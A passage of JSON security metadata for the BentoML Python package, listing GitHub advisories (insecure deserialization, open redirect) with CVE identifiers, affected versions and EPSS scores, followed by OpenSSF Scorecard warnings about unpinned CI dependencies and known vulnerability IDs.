service.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-03-20T12:32:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2024-9056","https://huntr.com/bounties/a24a13c2-0300-4a95-b26a-ac7fe8f6521b","https://github.com/bentoml/BentoML/blob/a6f5f937be6ec278f3d4f3bbc6f3c8f9564820d7/src/bentoml/_internal/io_descriptors/file.py#L293","https://github.com/bentoml/BentoML/blob/v1.4.5/src/bentoml/_internal/io_descriptors/file.py#L293C9-L293C66","https://github.com/advisories/GHSA-hw8j-hw49-752c"],"source_kind":"github","identifiers":["GHSA-hw8j-hw49-752c","CVE-2024-9056"],"repository_url":"https://github.com/bentoml/BentoML","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.4.5"}],"ecosystem":"pypi","package_name":"bentoml"}],"created_at":"2025-03-21T04:08:09.392Z","updated_at":"2025-03-21T03:36:03.000Z","epss_percentage":0.00151,"epss_percentile":0.36475},{"uuid":"GSA_kwCzR0hTQS1odmo1LW12dzktOTNqM84AA7CZ","url":"https://github.com/advisories/GHSA-hvj5-mvw9-93j3","title":"Insecure deserialization in BentoML","description":"An insecure deserialization vulnerability exists in the BentoML framework, allowing remote code execution (RCE) by sending a specially crafted POST request. By exploiting this vulnerability, attackers can execute arbitrary commands on the server hosting the BentoML application. The vulnerability is triggered when a serialized object, crafted to execute OS commands upon deserialization, is sent to any valid BentoML endpoint. This issue poses a significant security risk, enabling attackers to compromise the server and potentially gain unauthorized access or control.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-04-16T00:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2024-2912","https://github.com/bentoml/bentoml/commit/fd70379733c57c6368cc022ac1f841b7b426db7b","https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68","https://github.com/advisories/GHSA-hvj5-mvw9-93j3"],"source_kind":"github","identifiers":["GHSA-hvj5-mvw9-93j3","CVE-2024-2912"],"repository_url":"https://github.com/bentoml/bentoml","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"1.2.5","vulnerable_version_range":"\u003c 1.2.5"}],"ecosystem":"pypi","package_name":"bentoml"}],"created_at":"2024-04-16T19:05:03.598Z","updated_at":"2024-04-16T18:24:37.000Z","epss_percentage":0.05662,"epss_percentile":0.89885},{"uuid":"GSA_kwCzR0hTQS01NjRwLXJ4MnEtNGM4ds4ABFs9","url":"https://github.com/advisories/GHSA-564p-rx2q-4c8v","title":"BentoML Open Redirect vulnerability","description":"An open redirect vulnerability in bentoml/bentoml v1.3.9 allows a remote unauthenticated attacker to redirect users to arbitrary websites via a specially crafted URL. This can be exploited for phishing attacks, malware distribution, and credential theft.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-20T12:32:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://huntr.com/bounties/2a284ff6-cc6c-4a10-b72e-1bb31c842bca","https://nvd.nist.gov/vuln/detail/CVE-2024-4940","https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60","https://github.com/advisories/GHSA-564p-rx2q-4c8v"],"source_kind":"github","identifiers":["GHSA-564p-rx2q-4c8v"],"repository_url":null,"blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 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.github/workflows/codeql-analysis.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cqa.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cqa.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: .devcontainer/Dockerfile:3: pin your Docker image by updating python:3-bullseye to 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.devcontainer/lifecycle/post-start:9","Info:   0 out of  29 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  12 third-party GitHubAction dependencies pinned","Info:   0 out of   9 containerImage dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned","Info:   0 out of   1 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 26 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code 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GHSA-rqc4-2hc7-8c8v","Warn: Project is vulnerable to: GHSA-mr82-8j83-vxmv","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: GHSA-3749-ghw9-m3mg","Warn: Project is vulnerable to: PYSEC-2022-43015 / GHSA-47fc-vmwq-366v","Warn: Project is vulnerable to: PYSEC-2025-41 / GHSA-53q9-r3pm-6pq6","Warn: Project is vulnerable to: PYSEC-2024-252 / GHSA-5pcm-hx3q-hm94","Warn: Project is vulnerable to: GHSA-887c-mr87-cxwp","Warn: Project is vulnerable to: PYSEC-2024-251 / GHSA-pg7h-5qx3-wjr3","Warn: Project is vulnerable to: PYSEC-2024-250","Warn: Project is vulnerable to: PYSEC-2024-259","Warn: Project is vulnerable to: GHSA-3c5c-7235-994j","Warn: Project is vulnerable to: GHSA-3f63-hfp8-52jq","Warn: Project is vulnerable to: PYSEC-2021-41 / GHSA-3wvg-mj6g-m9cv","Warn: Project is vulnerable to: PYSEC-2020-77 / GHSA-3xv8-3j54-hgrp","Warn: Project is vulnerable to: PYSEC-2020-80 / GHSA-43fq-w8qq-v88h","Warn: Project is vulnerable to: GHSA-44wm-f244-xhp3","Warn: Project is vulnerable to: GHSA-4fx9-vc88-q2xc","Warn: Project is vulnerable to: PYSEC-2021-35 / GHSA-57h3-9rgr-c24m","Warn: Project is vulnerable to: PYSEC-2020-172 / GHSA-5gm3-px64-rw72","Warn: Project is vulnerable to: PYSEC-2021-331 / GHSA-7534-mm45-c74v","Warn: Project is vulnerable to: PYSEC-2021-92 / GHSA-7r7m-5h27-29hp","Warn: Project is vulnerable to: PYSEC-2020-78 / GHSA-8843-m7mw-mxqm","Warn: Project is vulnerable to: PYSEC-2023-227 / GHSA-8ghj-p4vj-mr35","Warn: Project is vulnerable to: PYSEC-2014-87 / GHSA-8m9x-pxwq-j236","Warn: Project is vulnerable to: PYSEC-2022-10 / GHSA-8vj2-vxx3-667w","Warn: Project is vulnerable to: PYSEC-2021-36 / GHSA-8xjq-8fcg-g5hw","Warn: Project is vulnerable to: PYSEC-2016-6 / GHSA-8xjv-v9xq-m5h9","Warn: Project is vulnerable to: PYSEC-2021-42 / GHSA-95q3-8gr9-gm8w","Warn: Project is vulnerable to: PYSEC-2022-168 / GHSA-9j59-75qj-795w","Warn: Project is vulnerable to: PYSEC-2014-10 / GHSA-cfmr-38g9-f2h7","Warn: Project is vulnerable to: PYSEC-2020-76 / GHSA-cqhg-xjhh-p8hf","Warn: Project is vulnerable to: PYSEC-2021-40 / GHSA-f4w8-cv6p-x6r5","Warn: Project is vulnerable to: PYSEC-2021-69 / GHSA-f5g8-5qq7-938w","Warn: Project is vulnerable to: PYSEC-2021-139 / GHSA-g6rj-rv7j-xwp4","Warn: Project is vulnerable to: PYSEC-2015-16 / GHSA-h5rf-vgqx-wjv2","Warn: Project is vulnerable to: PYSEC-2016-5 / GHSA-hggx-3h72-49ww","Warn: Project is vulnerable to: PYSEC-2020-84 / GHSA-hj69-c76v-86wr","Warn: Project is vulnerable to: PYSEC-2016-7 / GHSA-hvr8-466p-75rh","Warn: Project is vulnerable to: PYSEC-2015-15 / GHSA-j6f7-g425-4gmx","Warn: Project is vulnerable to: GHSA-j7hp-h8jx-5ppr","Warn: Project is vulnerable to: PYSEC-2019-110 / GHSA-j7mj-748x-7p78","Warn: Project is vulnerable to: GHSA-jgpv-4h4c-xhw3","Warn: Project is vulnerable to: PYSEC-2022-42979 / GHSA-m2vv-5vj5-2hm7","Warn: Project is vulnerable to: PYSEC-2021-37 / GHSA-mvg9-xffr-p774","Warn: Project is vulnerable to: PYSEC-2020-83 / GHSA-p49h-hjvm-jg3h","Warn: Project is vulnerable to: PYSEC-2022-8 / GHSA-pw3c-h7wp-cvhx","Warn: Project is vulnerable to: PYSEC-2021-93 / GHSA-q5hq-fp76-qmrc","Warn: Project is vulnerable to: PYSEC-2020-82 / GHSA-r7rm-8j6h-r933","Warn: Project is vulnerable to: PYSEC-2014-23 / GHSA-r854-96gq-rfg3","Warn: Project is vulnerable to: PYSEC-2016-8 / GHSA-rwr3-c2q8-gm56","Warn: Project is vulnerable to: PYSEC-2020-81 / GHSA-vcqg-3p29-xw73","Warn: Project is vulnerable to: PYSEC-2020-79 / GHSA-vj42-xq3r-hr3r","Warn: Project is vulnerable to: PYSEC-2021-70 / GHSA-vqcj-wrf2-7v73","Warn: Project is vulnerable to: PYSEC-2016-9 / GHSA-w4vg-rf63-f3j3","Warn: Project is vulnerable to: PYSEC-2014-22 / GHSA-x895-2wrm-hvp7","Warn: Project is vulnerable to: PYSEC-2022-9 / GHSA-xrcv-f9gm-v42c","Warn: Project is vulnerable to: PYSEC-2021-137","Warn: Project is vulnerable to: PYSEC-2021-138","Warn: Project is vulnerable to: PYSEC-2021-317","Warn: Project is vulnerable to: PYSEC-2021-38","Warn: Project is vulnerable to: PYSEC-2021-39","Warn: Project is vulnerable to: PYSEC-2021-94","Warn: Project is vulnerable to: PYSEC-2023-175","Warn: Project is vulnerable to: PYSEC-2020-73","Warn: Project is vulnerable to: PYSEC-2021-100 / GHSA-8h2j-cgx8-6xv7","Warn: Project is vulnerable to: PYSEC-2024-38","Warn: Project is vulnerable to: GHSA-564p-rx2q-4c8v","Warn: Project is vulnerable to: GHSA-9g44-gwvm-hc44","Warn: Project is vulnerable to: GHSA-hh3j-9m59-p8vc","Warn: Project is vulnerable to: GHSA-hvj5-mvw9-93j3","Warn: Project is vulnerable to: GHSA-hw8j-hw49-752c","Warn: Project is vulnerable to: PYSEC-2024-241 / GHSA-3v79-q7ph-j75h","Warn: Project is vulnerable to: GHSA-49m6-vrr9-2cqm","Warn: Project is vulnerable to: GHSA-4qq5-mxxx-m6gg","Warn: Project is vulnerable to: PYSEC-2025-17 / GHSA-4rj2-9gcx-5qhx","Warn: Project is vulnerable to: GHSA-4rqf-8pfm-p36r","Warn: Project is vulnerable to: PYSEC-2023-253 / GHSA-554w-xh4j-8w64","Warn: Project is vulnerable to: GHSA-59v3-898r-qwhj","Warn: Project is vulnerable to: GHSA-5mvj-wmgj-7q8c","Warn: Project is vulnerable to: GHSA-5p3h-7fwh-92rc","Warn: Project is vulnerable to: PYSEC-2024-239 / GHSA-5q6c-ffvg-xcm9","Warn: Project is vulnerable to: PYSEC-2023-252 / GHSA-5r3q-93q3-f978","Warn: Project is vulnerable to: PYSEC-2024-240 / GHSA-6749-m5cp-6cg7","Warn: Project is vulnerable to: GHSA-83fm-w79m-64r5","Warn: Project is vulnerable to: GHSA-8f8q-q2j7-7j2m","Warn: Project is vulnerable to: PYSEC-2023-281 / GHSA-cxfr-5q3r-2rc2","Warn: Project is vulnerable to: GHSA-f42m-mvfv-cgw5","Warn: Project is vulnerable to: GHSA-f798-qm4r-23r5","Warn: Project is vulnerable to: GHSA-f82r-jj5r-6g97","Warn: Project is vulnerable to: PYSEC-2023-280 / GHSA-ffw3-6378-cqgp","Warn: Project is vulnerable to: PYSEC-2023-308 / GHSA-fmxj-6h9g-6vw3","Warn: Project is vulnerable to: GHSA-hh8p-p8mp-gqhm","Warn: Project is vulnerable to: PYSEC-2024-243 / GHSA-hq88-wg7q-gp4g","Warn: Project is vulnerable to: GHSA-hvc6-42vf-jhf8","Warn: Project is vulnerable to: PYSEC-2024-242 / GHSA-j46q-5pxx-8vmw","Warn: Project is vulnerable to: GHSA-j62r-wxqq-f3gf","Warn: Project is vulnerable to: GHSA-m49c-5c52-6696","Warn: Project is vulnerable to: GHSA-p4jx-q62p-x5jr","Warn: Project is vulnerable to: GHSA-q3gw-8236-5jw4","Warn: Project is vulnerable to: GHSA-qg8p-32gr-gh6x","Warn: Project is vulnerable to: PYSEC-2024-224 / GHSA-qpgc-w4mg-6v92","Warn: Project is vulnerable to: PYSEC-2023-309 / GHSA-v945-r3rc-6fjm","Warn: Project is vulnerable to: PYSEC-2022-28 / GHSA-vqj2-4v8m-8vrq","Warn: Project is vulnerable to: PYSEC-2023-260 / GHSA-vwhf-3v6x-wff8","Warn: Project is vulnerable to: PYSEC-2023-70 / GHSA-wc6j-5g83-xfm6","Warn: Project is vulnerable to: PYSEC-2023-69 / GHSA-wjq3-7jxx-whj9","Warn: Project is vulnerable to: PYSEC-2023-28 / GHSA-wp72-7hj9-5265","Warn: Project is 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GitHubAction not pinned by hash: .github/workflows/ci.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:90: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:103: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:120: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:124: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:133: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:144: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:173: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:178: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:180: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:182: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:193: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:208: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:212: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:227: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:232: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:241: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:247: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:261: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cleanup.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cleanup.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cqa.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cqa.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: .devcontainer/Dockerfile:3: pin your Docker image by updating python:3-bullseye to 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.devcontainer/lifecycle/post-start:9","Info:   0 out of  29 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  12 third-party GitHubAction dependencies pinned","Info:   0 out of   9 containerImage dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned","Info:   0 out of   1 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 26 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code 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GHSA-rqc4-2hc7-8c8v","Warn: Project is vulnerable to: GHSA-mr82-8j83-vxmv","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: GHSA-3749-ghw9-m3mg","Warn: Project is vulnerable to: PYSEC-2022-43015 / GHSA-47fc-vmwq-366v","Warn: Project is vulnerable to: PYSEC-2025-41 / GHSA-53q9-r3pm-6pq6","Warn: Project is vulnerable to: PYSEC-2024-252 / GHSA-5pcm-hx3q-hm94","Warn: Project is vulnerable to: GHSA-887c-mr87-cxwp","Warn: Project is vulnerable to: PYSEC-2024-251 / GHSA-pg7h-5qx3-wjr3","Warn: Project is vulnerable to: PYSEC-2024-250","Warn: Project is vulnerable to: PYSEC-2024-259","Warn: Project is vulnerable to: GHSA-3c5c-7235-994j","Warn: Project is vulnerable to: GHSA-3f63-hfp8-52jq","Warn: Project is vulnerable to: PYSEC-2021-41 / GHSA-3wvg-mj6g-m9cv","Warn: Project is vulnerable to: PYSEC-2020-77 / GHSA-3xv8-3j54-hgrp","Warn: Project is vulnerable to: PYSEC-2020-80 / GHSA-43fq-w8qq-v88h","Warn: Project is vulnerable to: GHSA-44wm-f244-xhp3","Warn: Project is vulnerable to: GHSA-4fx9-vc88-q2xc","Warn: Project is vulnerable to: PYSEC-2021-35 / GHSA-57h3-9rgr-c24m","Warn: Project is vulnerable to: PYSEC-2020-172 / GHSA-5gm3-px64-rw72","Warn: Project is vulnerable to: PYSEC-2021-331 / GHSA-7534-mm45-c74v","Warn: Project is vulnerable to: PYSEC-2021-92 / GHSA-7r7m-5h27-29hp","Warn: Project is vulnerable to: PYSEC-2020-78 / GHSA-8843-m7mw-mxqm","Warn: Project is vulnerable to: PYSEC-2023-227 / GHSA-8ghj-p4vj-mr35","Warn: Project is vulnerable to: PYSEC-2014-87 / GHSA-8m9x-pxwq-j236","Warn: Project is vulnerable to: PYSEC-2022-10 / GHSA-8vj2-vxx3-667w","Warn: Project is vulnerable to: PYSEC-2021-36 / GHSA-8xjq-8fcg-g5hw","Warn: Project is vulnerable to: PYSEC-2016-6 / GHSA-8xjv-v9xq-m5h9","Warn: Project is vulnerable to: PYSEC-2021-42 / GHSA-95q3-8gr9-gm8w","Warn: Project is vulnerable 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GitHubAction not pinned by hash: .github/workflows/ci.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:90: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:103: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:120: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:124: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:133: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:144: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:173: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:178: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:180: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:182: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:193: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:208: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:212: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:227: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:232: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:241: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:247: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:261: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cleanup.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cleanup.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: 